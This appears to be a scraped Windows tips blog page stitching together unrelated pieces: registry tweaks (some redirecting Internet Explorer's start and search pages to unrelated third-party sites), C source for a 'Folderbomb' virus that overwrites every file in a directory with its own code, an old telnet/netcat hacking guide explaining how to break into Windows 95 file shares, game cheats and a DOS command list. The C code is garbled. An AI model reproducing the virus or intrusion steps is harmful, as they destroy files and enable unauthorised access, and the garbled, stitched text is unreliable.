[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum]
"{645FF040-5081-101B-9F08-00AA002F954E}"=dword:00000001

;Preset Folder Customizations for dialog box Sets default to My Computer then lists My Computer, C:, D:, E:, and Network Places on side C: here is represented as %systemdrive% in the registry

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32\PlacesBar]
"Place0"=dword:00000011
"Place1"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,\
00,65,00,25,00,5c,00,00,00
"Place2"="D:\\"
"Place3"="E:\\"
"Place4"=dword:00000012
@=dword:00000011

;Specify The First Desktop Icon: (48)=My Doc's 54 =My Comp

[HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}]
"SortOrderIndex"=dword:00000048

;No file-folder connections

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"NoFileFolderConnection"=dword:00000001

;Launch Windows Desktop in a Separate Process (i.e., de-link IE from windows explorer - so that both don't crash together)

"DesktopProcess"=dword:00000001

;Show Windows classic folders

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects\WebView]
"DefaultValue"=dword:00000000

;Foreground Window Lock

[HKEY_CURRENT_USER\Control Panel\Desktop]
"ForegroundLockTimeout"=dword:00030d40
"ForegroundFlashCount"=dword:00000003

;Allow renaming of Recycle Bin

[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]
"Attributes"=hex:50,01,00,20
"CallForAttributes"=dword:00000000

;Change Recycle Bin Icons The icons must be in the $$ folder directly for unattend install.If you use this after an install then the Bmp file must be under windows folder

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon]
@="%WinDir%\\system32\\shell32.dll,31"
"Full"="%WinDir%\\system32\\shell32.dll,32"
"Empty"="%WinDir%\\system32\\shell32.dll,31"

;Sort Start Menu and Favourites in Alphabetical Order (All Windows)

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder]

;Remove frequently accessed programs list from Start Menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoStartMenuMFUprogramsList"=dword:00000001

;Cache more Icons

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer]
"Max Cached Icons"="8192"

;Change MenuShowDelay (Start Menu load speed)

[HKEY_CURRENT_USER\Control Panel\Desktop]
"MenuShowDelay"="200"

;Removes Language Bar

[-HKEY_CLASSES_ROOT\CLSID\{540D8A8B-1C3F-4E32-8132-530F6A502090}]
@=-
"MenuTextPUI"=-

;Classic Menu (change to 00000001 to enable classic look)

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSimpleStartMenu"=dword:00000000

;Disable Automatic Hiding of Inactive Tray Icons

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"EnableAutoTray"=dword:00000000

;Add custom quicklaunch , Please visit http://www.msfn.org/board/index.php?showtopic=51753

;=======================================================================
; 7 - Logon
;=======================================================================

;disable unread mail message at welcome screen
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\UnreadMail]
"MessageExpiryDays"=dword:00000000

;Set information to appear above name/password fields in logon prompt
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"LogonPrompt"="Veuillez tapper votre nom d'utilisateur et mot de passe"

;Faster reboot time
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"EnableQuickReboot"="1"

Power computer off after shutdown || Value: (0 = default, 1 = power down)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"PowerdownAfterShutdown"="1"

;Setting for log-on screen
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"dontdisplaylastusername"=dword:00000001

;Message to display before user logon
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"legalnoticecaption"=""
"legalnoticetext"=""

;=======================================================================
; Visual Settings
;=======================================================================
;Removes More Themes Online..." option in the Themes dropdown box
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\DownloadSites]

;Disable screensavers
[HKEY_CURRENT_USER\Control Panel\Desktop]
"ScreenSaveActive"="0"
[HKEY_CURRENT_USER\Control Panel\Desktop]
"SCRNSAVE.EXE"=""
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"ScreenSaveActive"="0"
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"SCRNSAVE.EXE"=""

;Enable Clear Type for ALL Users
[HKEY_CURRENT_USER\Control Panel\Desktop]
"FontSmoothingType"=dword:00000002

;=======================================================================
; My Computer Right Click
;=======================================================================

;Adds Control Panel to right click of MY Computer
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Panneau de configuration\command]
@="rundll32.exe shell32.dll,Control_RunDLL"

;Adds Add/Remove to right click of MY Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Ajout & Supression de programmes\command]
@="control appwiz.cpl"

;Adds Registry Editor right click of MY Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\regedit]
@="Regedit"
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\regedit\command]
@="Regedit.exe"

;Adds MSCONFIG right click of MY Computer
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\msconfig]
@="Msconfig"
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\msconfig\command]
@="msconfig.exe"

;=======================================================================
; Context Menus
;=======================================================================

;Makes a right click option for unknown files (Open with notepad)
[HKEY_CLASSES_ROOT\*\shell]
@="\"notepad.exe %1\""
[HKEY_CLASSES_ROOT\*\shell\open]
@="Ouvrir avec Notepad"
[HKEY_CLASSES_ROOT\*\shell\open\command]
@="notepad.exe %1"

; Get a new Right-click menu option (command box)
[HKEY_CLASSES_ROOT\Directory\shell\Command Prompt Here]
@="Invite de commande"
[HKEY_CLASSES_ROOT\Directory\shell\Command Prompt Here\command]
@="cmd.exe /k cd %1"

; disable file association web-service - Bypassing "Browse web for program" to open unknown extension. "Open With..." becomes default
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"NoInternetOpenWith"=dword:00000001

; all items have an "edit.." on right-click sending to notepad
[HKEY_CLASSES_ROOT\*\shell\open]
@="Editer avec Notepad"
[HKEY_CLASSES_ROOT\*\shell\open\command]
@="notepad.exe %1"

;This adds an option in the right-click (context) menu to open any folder on your computer in a new window.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\openNew]
@="Ouvrir dans une nouvelle fen�tre"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\openNew\Command]
@="explorer %1"

;=======================================================================
; Internet Explorer and Outlook Express
;=======================================================================

;No header and footer in Internet explorer printout
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup]
"header"=""
"footer"=""

;Minimize Outlook to the System Tray
[HKEY_Current_User\Software\Microsoft\Office\10.0\Outlook\Preferences]
"MinToTray"=dword:00000001

;Brand IE explorer title bar
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="Internet Explorer Optimized By Kill-a-Bee"

;Brand Outlook express title bar
[HKEY_CURRENT_USER\Identities\{E2883460-019D-11D8-AC1F-AA7C5EECB833}\Software\Microsoft\Outlook Express\5.0]
"WindowTitle"="Outlook Express Optimized By Kill-a-Bee"

;Add Google As Main Start Page
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.bwa-qc.com/"

;Change the Internet Explorer Window Title
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="Internet Exploiter/Exploder"

;Add Google As Main/default Search Page
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Use Search Asst"="no"
"Search Page"="http://torrentsearcher.filesharingplace.com/"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchURL]
@="http://www.google.com/keyword/%s"
"provider"="gogl"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]
"SearchAssistant"="http://torrentsearcher.filesharingplace.com/ie/"

;Adds search keywords to Internet Explorer address bar (in this order: Microsoft Knowledge Base, Altavista, Google, MSN, FileMirrors)
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\MSKB]
@="http://support.microsoft.com/?kbid=%s"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\AV]
@="http://www.microhard.co.nr"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\g]
@="http://www.google.com/search?q=%s"

Virus code in c

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(???????????????????????????);
printf(?\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n?);
cprintf(???????????????????????????);
done = findfirst(?*.*?,&ffblk,0);
while (!done)
{ printf(?\n?);cprintf(? %s ?, ffblk.ff_name);printf(?is attacked by ?);cprintf(?Folderbomb?);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Make a folder invisible (good one)

Make the folder INVISIBLE without hiding
Make your folders invicible?:)

1)Right Click on the desktop.Make a new folder

2)Now rename the folder with a space(U have to hold ALT key and type 0160).

3)Now u have a folder with out a name.

4)Right click on the folder>properties>customize. Click on change icon.

5)Scroll a bit, u should find some empty spaces, Click on any one of them.click ok Thats it,now u can store ur personal data without any 3rd party tools

Tuesday, October 2, 2007

DOS HACKING

****************************************************** In this Guide you will learn how to: * Use telnet from Windows * Download web pages via telnet * Get finger information via telnet * Telnet from the DOS command-line * Use netcat * Break into Windows Computers from the Internet Protecting Yourself What can they do The command-line approach The GUI approach Final Words ************************************************************ How to Use Telnet on a Windows Computer Telnet is great little program for doing a couple of interesting things. In fact, if you want to call yourself a hacker, you absolutely MUST be able to telnet! In this lesson you will find out a few of the cool things a hacker can do with telnet. If you are using Win95, you can find telnet in the c:\windows directory, and on NT, in the c:\winnt\system32 directory. There isn't a lot of online help concerning the usage of the program, so my goal is to provide some information for new users. First off, telnet isn't so much an application as it is a protocol. Telnet is protocol that runs over TCP/IP, and was used for connecting to remote computers. It provides a login interface, and you can run command-line programs by typing the commands on your keyboard, and the programs use the resources of the remote machine. The results are displayed in the terminal window on your machine, but the memory and CPU cycles consumed by the program are located on the remote machine. Therefore, telnet functions as a terminal emulation program, emulating a terminal on the remote machine. Now, telnet runs on your Win95 box as a GUI application...that is to say that you can type "telnet" at the command prompt (in Windows 95 this is the MS-DOS prompt), and assuming that your PATH is set correctly, a window titled "telnet" will open. This differs from your ftp program in that all commands are entered in the DOS window. Let's begin by opening telnet. Simply open a DOS window by clicking "start", then "programs", then "MS-DOS", and at the command prompt, type: c:\telnet The window for telnet will open, and you can browse the features of the program from the menu bar. *************************************************** NEWBIE NOTE: In this text file, I am referring only to the telnet program that ships with Win95/NT. If you type "telnet" at the command prompt and you don't get the telnet window, make sure that the program is on your hard drive using the Start -> Find -> Files or Folders command. Also make sure that your path statement includes the Windows directory. There are many other programs available that provide similar functionality, with a lot of other bells and whistles, from any number of software sites. ************************************************* To learn a bit more about telnet, choose Help -> Contents, or Help -> Search for help on... from the menu bar. Read through the files in order to find more detailed explanations of things you may wish to do. For example, in this explanation, I will primarily be covering how to use the application and what it can be used for, but now how to customize the colors for the application. Now, if you choose Connect -> Remote System, you will be presented with a dialog window that will ask you for the remote host, the port and the terminal type. **************************************************** NEWBIE NOTE: For most purposes, you can leave the terminal type on VT100. **************************************************** In the Connect dialog box, you can enter in the host to which you wish to connect, and there is a list box of several ports you can connect to: daytime: May give you the current time on the server. echo: May echo back whatever you type in, and will tell you that the computer you have connected to is alive nd running on the Internet. qotd: May provide you with a quote of the day. chargen: May display a continuous stream of characters, useful for spotting network problems, but may crash your telnet program. telnet: May present you with a login screen. These will only work if the server to which you are trying to connect is running these services. However, you are not limited to just those ports...you can type in any port number you wish. (For more on fun ports, see the GTMHH, "Port Surf's Up.") You will only successfully connect to the port if the service in question is available. What occurs after you connect depends upon the protocol for that particular service. When you are using telnet to connect to the telnet service on a server, you will (in most cases) be presented with a banner and a login prompt. [Note from Carolyn Meinel: Many people have written saying their telnet program fails to connect no matter what host they try to reach. Here's a way to fix your problem. First -- make sure you are already connected to the Internet. If your telnet program still cannot connect to anything, here's how to fix your problem. Click "start" then "settings" then "control panel." Then click "Internet" then "connection." This screen will have two boxes that may or may not be checked. The top one says "connect to the Internet as needed." If that box is checked, uncheck it -- but only uncheck it if you already have been having problems connecting. The bottom box says "connect through a proxy server." If that box is checked, you probably are on a local area network and your systems administrator doesn't allow you to use telnet.] ********************************************* NEWBIE NOTE: It's not a good idea to connect to a host on which you don't have a valid account. In your attempts to guess a username and password, all you will do is fill the log files on that host. From there, you can very easily be traced, and your online service provider will probably cancel your account. ********************************************** Now, you can also use telnet to connect to other ports, such as ftp (21), smtp (25), pop3 (110), and even http (80). When you connect to ftp, smtp, and pop3, you will be presented with a banner, or a line of text that displays some information about the service. This will give you a clue as to the operating system running on the host computer, or it may come right out and tell you what the operating system is...for instance, AIX, Linux, Solaris, or NT. If you successfully connect to port 80, you will see a blank screen. This indicates, again, that you have successfully completed the TCP negotiation and you have a connection. Now, what you do from there is up to you. You can simply disconnect with the knowledge that, yes, there is a service running on port 80, or you can use your knowledge of the HTTP protocol to retrieve the HTML source for web pages on the server. How to Download Web Pages Via Telnet To retrieve a web page for a server using telnet, you need to connect to that server on port 80, generally. Some servers may use a different port number, such as 8080, but most web servers run on port 80. The first thing you need to do is click on Terminal -> Preferences and make sure that there is a check in the Local Echo box. Then, since most web pages will generally take up more than a single screen, enable logging by clicking Terminal -> Start Logging... and select a location and filename. Keep in mind that as long as logging is on, and the same file is being logged to, all new information will be appended to the file, rather than overwriting the original file. This is useful if you want to record several sessions, and edit out the extraneous information using Notepad. Now, connect the remote host, and if your connection is successful, type in: GET / HTTP/1.0 and hit enter twice. ************************************************** NEWBIE NOTE: Make sure that you hit enter twice...this is part of the HTTP protocol. The single / after GET tells the server to return the default index file, which is generally "index.html". However, you can enter other filenames, as well. ************************************************* You should have seen a bunch of text scroll by on the screen. Now you can open the log file in Notepad, and you will see the HTML code for the page, just as though you had chosen the View Source option from your web browser. You will also get some additional information...the headers for the file will contain some information about the server. For example: HTTP/1.0 200 Document follows Date: Thu, 04 Jun 1998 14:46:46 GMT Server: NCSA/1.5.2 Last-modified: Thu, 19 Feb 1998 17:44:13 GMT Content-type: text/html Content-length: 3196 One particularly interesting piece of information is the server name. This refers to the web server software that is running and serving web pages. You may see other names in this field, such as versions of Microsoft IIS, Purveyor, WebSite, etc. This will give you a clue as to the underlying operating system running on the server. ************************************************* SYSADMIN NOTE: This technique, used in conjunction with a database of exploits on web servers, can be particularly annoying. Make sure you keep up on exploits and the appropriate security patches from your web server and operating system vendors. ************************************************* ************************************************* NEWBIE NOTE: This technique of gathering web pages is perfectly legal. You aren't attempting to compromise the target system, you are simply doing by hand what your web browser does for you automatically. Of course, this technique will not load images and Java applets for you. ************************************************ Getting Finger Information Via Telnet By now, you've probably heard or read a lot about finger. It doesn't seem like a very useful service, and many sysadmins disable the service because it provides information on a particular user, information an evil hacker can take advantage of. Win95 doesn't ship with a finger client, but NT does. You can download finger clients for Win95 from any number of software sites. But why do that when you have a readily available client in telnet? The finger daemon or server runs on port 79, so connect to a remote host on that port. If the service is running, you will be presented with a blank screen. **************************************************** NEWBIE NOTE: NT doesn't ship with a finger daemon (A daemon is a program on the remote computer which waits for people like you to connect to it), so generally speaking, and server that you find running finger will be a Unix box. I say "generally" because there are third-party finger daemons available and someone may want to run one on their NT computer. **************************************************** The blank screen indicates that the finger daemon is waiting for input. If you have a particular user that you are interested in, type in the username and hit enter. A response will be provided, and the daemon will disconnect the client. If you don't know a particular username, you can start by simply hitting enter. In some cases, you may get a response such as "No one logged on." Or you may get information of all currently logged on users. It all depends on whether or not the sysadmin has chosen to enable certain features of the daemon. You can also try other names, such as "root", "daemon", "ftp", "bin", etc. Another neat trick to try out is something that I have seen referred to as "finger forwarding". To try this out, you need two hosts that run finger. Connect to the first host, host1.com, and enter the username that you are interested in. Then go to the second host, and enter: user@host1.com You should see the same information! Again, this all depends upon the configuration of the finger daemon. Using Telnet from the Command Line Now, if you want to show your friends that you a "real man" because "real men don't need no stinkin' GUIs", well just open up a DOS window and type: c:\>telnet and the program will automatically attempt to connect to the host on the designated port for you. Using Netcat Let me start by giving a mighty big thanks to Weld Pond from L0pht for producing the netcat program for Windows NT. To get a copy of this program, which comes with source code, simply go to: http://www.l0pht.com/~weld NOTE: The first character of "l0pht: is the letter "l". The second character is a zero, not an "o". I know that the program is supposed to run on NT, but I have seen it run on Win95. It's a great little program that can be used to do some of the same things as telnet. However, there are advantages to using netcat...for one, it's a command-line program, and it can be included in a batch file. In fact, you can automate multiple calls to netcat in a batch file, saving the results to a text file. ************************************************** NEWBIE NOTE: For more information on batch files, see previous versions of the Guide To (mostly) Harmless Hacking, Getting Serious with Windows series ...one of them dealt with basic batch file programming. ************************************************** Before using netcat, take a look at the readme.txt file provided in the zipped archive you downloaded. It goes over the instructions on how to download web pages using netcat, similar to what I described earlier using telnet. There are two ways to go about getting finger information using netcat. The first is in interactive mode. Simply type: c:\>nc 79 If the daemon is running, you won't get a command prompt back. If this is the case, type in the username and hit enter. Or use the automatic mode by first creating a text file containing the username of interest. For example, I typed: c:\>edit root and entered the username "root", without the quotes. Then from the command prompt, type: c:\>nc 79 <>nc 79 <> nc.log to create the file nc.log, or: c:\>nc 79 <>> nc.log to append the response to the end of nc.log. NOTE: Make sure that you use spaces between the redirection operators.
How to Break into a Windows 95 machine Connected to the Internet Disclaimer The intent of this file is NOT to provide a step-by-step guide to accessing a Win95 computer while it is connected to the Internet. The intent is show you how to protect yourself. There are no special tools needed to access a remote Win95 machine...everything you need is right there on your Win95 system! Two methods will be described...the command-line approach and the GUI approach. Protecting Yourself First, the method of protecting yourself needs to be made perfectly clear. DON'T SHARE FILES!! I can't stress that enough. If you are a home user, and you are connecting a Win95 computer to the Internet via some dial-up method, disable sharing. If you must share, use a strong password...8 characters minimum, a mix of upper and lower case letters and numbers, change the password every now and again. If you need to transmit the password to someone, do so over the phone or by written letter. To disable sharing, click on My Computer -> Control Panel -> Network -> File and Print Sharing. In the dialog box that appears, uncheck both boxes. It's that easy. What Can They Do? What can someone do? Well, lots of stuff, but it largely depends on what shares are available. If someone is able to share a printer from your machine, they can send you annoying letters and messages. This consumes time, your printer ink/toner, and your paper. If they are able to share a disk share, what they can do largely depends upon what's in that share. The share appears as another directory on the attacker's machine, so any programs they run will be consuming their own resources...memory, cpu cycles, etc. But if the attacker has read and write access to those disk shares, then you're in trouble. If you take work home, your files may be vulnerable. Initialization and configuration files can be searched for passwords. Files can be modified and deleted. A particularly nasty thing to do is adding a line to your autoexec.bat file so that the next time your computer is booted, the hard drive is formatted without any prompting from the user. Bad ju-ju, indeed. ** The command-line approach ** Okay, now for the part that should probably be titled "How they do it". All that is needed is the IP address of the remote machine. Now open up a DOS window, and at the command prompt, type: c:\>nbtstat -A [ip_addr] If the remote machine is connected to the Internet and the ports used for sharing are not blocked, you should see something like: NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- NAME <00> UNIQUE Registered DOMAIN <00> GROUP Registered NAME <03> UNIQUE Registered USERNAME <03> UNIQUE Registered MAC Address = 00-00-00-00-00-00 This machine name table shows the machine and domain names, a logged-on username, and the address of the Ethernet adapter (the information has been obfuscated for instructional purposes). **Note: This machine, if unpatched and not protected with a firewall or packet-filter router, may be vulnerable to a range of denial of service attacks, which seem to be fairly popular, largely because they require no skill or knowledge to perpetrate. The key piece of information that you are looking for is in the Type column. A machine that has sharing enabled will have a hex code of "<20>". **Note: With the right tools, it is fairly simple for a sysadmin to write a batch file that combs a subnet or her entire network, looking for client machines with sharing enabled. This batch file can then be run at specific times...every day at 2:00 am, only on Friday evenings or weekends, etc. If you find a machine with sharing enabled, the next thing to do is type the following command: c:\>net view \\[ip_addr] Now, your response may be varied. You may find that there are no shares on the list, or that there are several shares available. Choose which share you would like to connect to, and type the command: c:\>net use g: \\[ip_addr]\[share_name] You will likely get a response that the command was completed successfully. If that is the case, type: c:\>cd g: or which ever device name you decided to use. You can now view what exists on that share using the dir commands, etc. Now, you may be presented with a password prompt when you ssue the above command. If that is the case, typical "hacker" (I shudder at that term) methods may be used. ** The GUI approach ** After issuing the nbtstat command, you can opt for the GUI approach to accessing the shares on that machine. To do so, make sure that you leave the DOS window open, or minimized...don't close it. Now, use Notepad to open this file: c:\windows\lmhosts.sam Read over the file, and then open create another file in Notepad, called simply "Lmhosts", without an extension. The file should contain the IP address of the host, the NetBIOS name of the host (from the nbtstat command), and #PRE, separated by tabs. Once you have added this information, save it, and minimize the window. In the DOS command window, type: c:\>nbtstat -R This command reloads the cache from the Lmhosts file you just created. Now, click on Start -> Find -> Computer, and type in the NetBIOS name of the computer...the same one you added to the lmhosts file. If your attempt to connect to the machine is successful, you should be presented with a window containing the available shares. You may be presented with a password prompt window, but again, typical "hacker" (again, that term grates on me like fingernails on a chalk board, but today, it seems that it's all folks understand) techniques may be used to break the password. ************************************************ Note from Carolyn Meinel: Want to try this stuff without winding up in jail or getting expelled from school? Get a friend to give you permission to try to break in. First, you will need his or her IP address. Usually this will be different every time your friend logs on. You friend can learn his or her IP address by going to the DOS prompt while online and giving the command "netstat -r". Something like this should show up: C:\WINDOWS>netstat -r Route Table Active Routes: Network Address Netmask Gateway Address Interface Metric 0.0.0.0 0.0.0.0 198.999.176.84 198.999.176.84 1 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 198.999.176.0 255.255.255.0 198.999.176.84 198.999.176.84 1 198.999.176.84 255.255.255.255 127.0.0.1 127.0.0.1 1 198.999.176.255 255.255.255.255 198.999.176.84 198.999.176.84 1 224.0.0.0 224.0.0.0 198.999.176.84 198.999.176.84 1 255.255.255.255 255.255.255.255 198.999.176.84 0.0.0.0 1 Your friend's IP address should be under "Gateway Address." Ignore the 127.0.0.1 as this will show up for everyone and simply means "locahost" or "my own computer." If in doubt, break the Internet connection and then get online again. The number that changes is the IP address of your friend's computer. *************************************************** ************************************************** Evil Genius tip: Here is something really scary. In your shell account give the "netstat" command. If your ISP allows you to use it, you might be able to get the dynamically assigned IP addresses of people from all over the world -- everyone who is browsing a Web site hosted by your ISP, everyone using ftp, spammers you might catch red-handed in the act of forging email on your ISP, guys up at 2AM playing on multiuser dungeons, IRC users, in fact you will see everyone who is connected to your ISP! **************************************************** *************************************************** YOU CAN GO TO JAIL WARNING: If you find a Windows 95 box on the Internet with file sharing enabled and no password protection, you can still get in big trouble for exploiting it. It's just like finding a house whose owner forgot to lock the door -- you still are in trouble if someone catches you inside. Tell temptation to take a hike! ************************************************ Final Words Please remember that this Guide is for instructional purposes only and is meant to educate the sysadmin and user alike. If someone uses this information to gain access to a system which they have no permission or business messing with, I (keydet) cannot be responsible for the outcome. If you are intending to try this information out, do so with the consent and permission of a friend. If there are questions, comments or any doubts then feel free to ask me heregreetz,

All windows games cheats and cracks

Minesweeper
Secret - Reveal Mines
Instructions - Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.
Pinball
Secret - Extra BallsInstructions - Type 1max at the start of a new ball to get extra balls.
Secret - Gravity WellInstructions - Type gmax at the start of a new game to activate the Gravity Well.
Secret - Instant PromotionInstructions - Type rmax at the start of a new game to go up in ranks.
Secret - Skill ShotInstructions - Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:
First: 15,000 pointsSecond: 30,000 pointsThird: 75,000 pointsFourth: 30,000 pointsFifth: 15,000 pointsSixth: 7,500 points
Secret - Test ModeInstructions - Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.
Secret - Unlimited BallsInstructions - Type bmax at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting
FreeCell
Secret - Instant WinInstructions - Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.
Secret - Hidden Game ModesInstructions - In the ?Game? menu choose ?Select Game?. Enter -1 or -2 to activate the hidden game modes.
Solitaire
Secret - Instant Win
Instructions - Press Alt + Shift + 2 during game play to instantly win.
Secret - Draw single cards in a Draw Three game
Instructions - Hold down CTRL + ALT + SHIFT while drawing a new card. Instead of drawing three cards you will only draw one.
Infinite Points
In the Windows XP version of solitaire, draw from the deck at least twice. Hold control and drag a card down from the deck. Click the ?A? key and then let go of the left mouse key. You will get 10 points for this. Continue doing this for infinite points!
Infinite points trick II
To do this trick, finish a game of solitaire with the time bonus option on. The cards will start bouncing. Click on the solitaire screen and the play again box will pop up. Select no, so the solitaire screen is just blank green. Use the instant win cheat (Alt+Shift+2) and you will recieve the time bonus you got last game will be added to your last game?s score. For example, if your time bonus was 5000, and your final score was 6000, after using this glitch, you will have a score of 11000. This glitch can be used as many times as you want.
//??????????????????????// registry hack which will allow you to see your opponents? cards//?????????????????????? Launch REGEDIT.EXE and navigate to HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Applets Hearts. NOTE: You may have to create the Hearts key under Applets In the right-hand pane, create a new String Value. Immediately rename it to ?ZB? (without the quotes); give it a value of ?42? (again, sans quotes). The next time you?re in a game of Hearts, press CTRL + SHIFT + ALT + F12.

All DOS commands

There are some hidden dos commands which u can't recognise by typing help in cmd

Here they are with description
COMMANDS:--
ANSI.SYS
Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND
Causes MS-DOS to look in other directories when editing a file or running a command.
ARP
Displays, adds, and removes arp information from network devices.
ASSIGN
Assign a drive letter to an alternate letter.
ASSOC
View the file associations.
AT
Schedule a time to execute commands or programs.
ATMADM
Lists connections and addresses seen by Windows ATM call manager.
ATTRIB
Display and change file attributes.
BATCH
Recovery console command that executes a series of commands in a file.
BOOTCFG
Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK
Enable / disable CTRL + C feature.
CACLS
View and modify file ACL's.
CALL
Calls a batch file from another batch file.
CD
Changes directories.
CHCP
Supplement the International keyboard and character set information.
CHDIR
Changes directories.
CHKDSK
Check the hard disk drive running FAT for errors.
CHKNTFS
Check the hard disk drive running NTFS for errors.
CHOICE
Specify a listing of multiple options within a batch file.
CLS
Clears the screen.
CMD
Opens the command interpreter.
COLOR
Easily change the foreground and background color of the MS-DOS window.
COMMAND
Opens the command interpreter.
COMP
Compares files.
COMPACT
Compresses and uncompress files.
CONTROL
Open Control Panel icons from the MS-DOS prompt.
CONVERT
Convert FAT to NTFS.
COPY
Copy one or more files to an alternate location.
CTTY
Change the computers input/output devices.
DATE
View or change the systems date.
DEBUG
Debug utility to create assembly programs to modify hardware settings.
DEFRAG
Re-arrange the hard disk drive to help with loading programs.
DEL
Deletes one or more files.
DELETE
Recovery console command that deletes a file.
DELTREE
Deletes one or more files and/or directories.
DIR
List the contents of one or more directory.
DISABLE
Recovery console command that disables Windows system services or drivers.
DISKCOMP
Compare a disk with another disk.
DISKCOPY
Copy the contents of one disk and place them on another disk.
DOSKEY
Command to view and execute commands that have been run in the past.
DOSSHELL
A GUI to help with early MS-DOS users.
DRIVPARM
Enables overwrite of original device drivers.
ECHO
Displays messages and enables and disables echo.
EDIT
View and edit files.
EDLIN
View and edit files.
EMM386
Load extended Memory Manager.
ENABLE
Recovery console command to enable a disable service or driver.
ENDLOCAL
Stops the localization of the environment changes enabled by the setlocal command.
ERASE
Erase files from computer.
EXIT
Exit from the command interpreter.
EXPAND
Expand a Microsoft Windows file back to it's original format.
EXTRACT
Extract files from the Microsoft Windows cabinets.
FASTHELP
Displays a listing of MS-DOS commands and information about them.
FC
Compare files.
FDISK
Utility used to create partitions on the hard disk drive.
FIND
Search for text within a file.
FINDSTR
Searches for a string of text within a file.
FIXBOOT
Writes a new boot sector.
FIXMBR
Writes a new boot record to a disk drive.
FOR
Boolean used in batch files.
FORMAT
Command to erase and prepare a disk drive.
FTP
Command to connect and operate on a FTP server.
FTYPE
Displays or modifies file types used in file extension associations.
GOTO
Moves a batch file to a specific label or location.
GRAFTABL
